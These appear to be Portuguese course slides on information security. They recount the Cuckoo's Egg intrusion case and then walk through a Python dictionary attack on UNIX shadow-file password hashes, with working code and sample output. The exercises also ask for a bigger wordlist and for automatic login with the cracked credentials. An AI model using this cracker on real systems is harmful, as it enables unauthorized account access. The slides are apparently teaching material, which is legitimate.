Seu Primeiro Programa: Um Quebrador de Senha UNIX

Segurança da Informação

Charles Tim Batista Garrocho

Instituto Federal de São Paulo – IFSP
Campus Campos do Jordão

garrocho.ifspcjo.edu.br/SEGA6

charles.garrocho@ifsp.edu.br

Curso Superior de TADS

O Ovo do Cuco

Clifford deveria **investigar** uma discrepância de 75 centavos no relatório gerado pelo software que controlava e contabilizava o uso dos sistemas.

O que então parecia ser um erro de relatório do sistema era na verdade um usuário **não autorizado** com 9 segundos de uso não pagos.

Clifford monitorou este hacker durante 10 meses. Estes 9 segundos de uso não autorizados levaram a descoberta de uma série de **intrusões e acessos** não autorizados em sistemas de universidades, de bases militares e do governo. Com objetivos de espionagem e ganhos financeiros.

O hacker **explorava falhas**. As informações e arquivos obtidos eram comercializados pelo hacker para a KGB da extinta União Soviética.

Com apoio do FBI e NSA, e com o uso de **documentos fictícios** de um projeto militar, sua identidade – Markus Hess – foi descoberta e sua prisão efetivada na Alemanha.

O Ovo do Cuco

Durante o processo de monitoramento, Clifford notou que o hacker baixava o **arquivo de senha** criptografada do UNIX.

Que uso era para o atacante? Afinal, os sistemas das vítimas **criptografaram** as senhas do usuário usando o algoritmo de criptografia UNIX.

No entanto, dentro de **uma semana** de roubar os arquivos de senha criptografados, Stoll viu o invasor fazer logon com as contas roubadas.

Clifford chegou a conclusão que o hacker usava **palavras comuns** do dicionário para usar como a senha do usuário.

O hacker enumerou todas as palavras em um dicionário e criptografou-as usando a função Unix Crypt(). Depois de criptografar cada senha, o hacker **comparou** com a senha criptografada roubada.

Um Quebrador de Senha UNIX: Contextualização

O arquivo **/etc/shadow** armazena todas as senhas dos usuários no UNIX.

```
fulano:$6$zAHD5VGV$1p.W5B9atvhUki574jZ7sIZmAc4gjvhmo8BUJ6eviHv
QD1VwLqbWrFQcHsyh0ras6MNmoRnjHEUt5epqEuzrt1:17097:0:99999:7:::
```

A estrutura de cada linha deste arquivo consistem **principalmente** em:
Nome do usuário, tipo de criptografia usada, salt, e senha criptografada.

Os primeiros caracteres, 6, que indicam o **algoritmo de hash** utilizado:

$1 = Algoritmo de hash MD5.
$2 = Algoritmo de hash Blowfish.
$2a= Algoritmo de hash eksblowfish.
$5 = Algoritmo de hash SHA-256.
$6 = Algoritmo de hash SHA-512.

Um Quebrador de Senha UNIX: Implementação

A principal função **abre** o arquivo de senhas criptografadas "senhas.txt" e **lê** o conteúdo de cada linha no arquivo de senha.

Para cada linha, é **separado** o nome de usuário e a senha hash.

Para cada senha, a função principal chama a função **testaSenha()** que testa senhas contra um arquivo de dicionário.

```
def inicio():
    arquivoSenhas = open('senhas.txt')
    for linha in arquivoSenhas.readlines():
        if ':' in linha:
            dados = linha.split(':')
            print '[*] Quebrando senha de: ' + dados[0]
            testaSenha(dados[1])

if __name__ == '__main__':
    inicio()
```

Um Quebrador de Senha UNIX: Implementação

testaSenha() leva a senha criptografada como um parâmetro e retorna depois de encontrar a senha ou esgotar as palavras no dicionário.

Ela primeiro tira o **salt** dos primeiros caracteres da senha criptografada.

Ela abre o dicionário e itera através de cada palavra criando um **hash**.

```
def testaSenha(dados):
    senha = dados.split('$')
    salt = '$' + senha[1] + '$' + senha[2]
    dicionario = open('dicionario.txt', 'r')
    for palavra in dicionario.readlines():
        palavra = palavra.strip('\n')
        palavraCriptografada = crypt.crypt(palavra, salt)
        if palavraCriptografada == dados:
            print '[+] Encontrado a Senha: ' + palavra + '\n'
            return
    print '[-] Senha Não Encontrada.\n'
    return
```

Um Quebrador de Senha UNIX: Executando

O script abaixo mostra o **resultado** da execução do quebrador de senha. Neste caso, uma das senhas foi quebrada com sucesso.

Entretanto a senha de ciclano não possível **quebrar**. Não se preocupe, será explicado novas formas de quebrar a senha.

```
tim@charles:~$ python quebrador_senha.py
[*] Quebrando senha de: fulano
[+] Encontrado a Senha: 12345678

[*] Quebrando senha de: ciclano
[-] Senha Não Encontrada.

tim@charles:~$
```

Atividades

Faça uma busca na Internet e encontre um bom dicionário que possa te ajudar a encontrar a senha de ciclano.

Faça uma busca na Internet e encontre programas ou serviços que utilize algoritmos de criptografia em hash.

É possível utilizar esse script em qualquer máquina? Discuta esta questão.

Modifique o script de forma que ao quebrar a senha, ele automaticamente loga ao usuário da máquina.